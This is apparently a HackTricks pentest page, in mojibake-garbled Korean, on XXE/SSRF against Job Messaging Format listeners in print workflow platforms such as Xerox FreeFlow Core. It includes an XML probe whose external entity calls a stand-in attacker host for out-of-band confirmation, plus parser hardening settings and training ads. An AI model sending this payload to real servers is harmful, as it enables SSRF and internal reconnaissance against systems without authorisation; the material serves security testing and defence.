์ผ๋ถ€ ํ”„๋ฆฐํŠธ ์›Œํฌํ”Œ๋กœ์šฐ/์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ ํ”Œ๋žซํผ์€ XML์„ TCP๋ฅผ ํ†ตํ•ด ์ˆ˜์‹ ํ•˜๋Š” ๋„คํŠธ์›Œํฌ ๋Œ€๋ฉด Job Messaging Format (JMF) ๋ฆฌ์Šค๋„ˆ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ํŒŒ์„œ๊ฐ€ DOCTYPE์„ ์ˆ˜์šฉํ•˜๊ณ  ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ๊ฒฝ์šฐ, ๊ณ ์ „์ ์ธ XXE๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ์•„์›ƒ๋ฐ”์šด๋“œ ์š”์ฒญ(SSRF)์„ ํ•˜๊ฑฐ๋‚˜ ๋กœ์ปฌ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ˜„์žฅ์—์„œ ๊ด€์ฐฐ๋œ ์ฃผ์š” ์‚ฌํ•ญ:

  • ์ „์šฉ ํฌํŠธ(์ผ๋ฐ˜์ ์œผ๋กœ Xerox FreeFlow Core์˜ 4004)์—์„œ์˜ ๋„คํŠธ์›Œํฌ ๋ฆฌ์Šค๋„ˆ(์˜ˆ: JMF ํด๋ผ์ด์–ธํŠธ).
  • disallow-doctype-decl ๋˜๋Š” ์—”ํ‹ฐํ‹ฐ ํ•ด์ œ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ jar ๋‚ด์˜ Java ๊ธฐ๋ฐ˜ XML ํŒŒ์‹ฑ(์˜ˆ: jmfclient.jar).
  • ์•„์›ƒ์˜ค๋ธŒ๋ฐด๋“œ ์ฝœ๋ฐฑ์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

์ตœ์†Œ JMF ์Šคํƒ€์ผ SSRF ํ”„๋กœ๋ธŒ(๊ตฌ์กฐ๋Š” ์ œํ’ˆ์— ๋”ฐ๋ผ ๋‹ค๋ฅด์ง€๋งŒ DOCTYPE์ด ์ค‘์š”ํ•จ):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

๋…ธํŠธ:

  • ์—”ํ‹ฐํ‹ฐ URL์„ ํ˜‘๋ ฅ์ž๋กœ ๊ต์ฒดํ•˜์‹ญ์‹œ์˜ค. SSRF๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉด ์„œ๋ฒ„๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” ๋™์•ˆ ์ด๋ฅผ ํ•ด๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
  • ํ™•์ธํ•ด์•ผ ํ•  ํ•˜๋“œ๋‹: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false.
  • JMF ํฌํŠธ๊ฐ€ ํŒŒ์ผ์„ ์ œ๊ณตํ•˜์ง€ ์•Š๋”๋ผ๋„, SSRF๋Š” ๋‚ด๋ถ€ ์žฌ์กฐ์‚ฌ ๋˜๋Š” ๋กœ์ปฌํ˜ธ์ŠคํŠธ์— ๋ฐ”์ธ๋”ฉ๋œ ๊ด€๋ฆฌ API์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ์—ฐ๊ฒฐ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๋ฒกํ„ฐ์— ๋Œ€ํ•œ ์ฐธ์กฐ๋Š” ํŽ˜์ด์ง€ ๋์— ๋‚˜์—ด๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ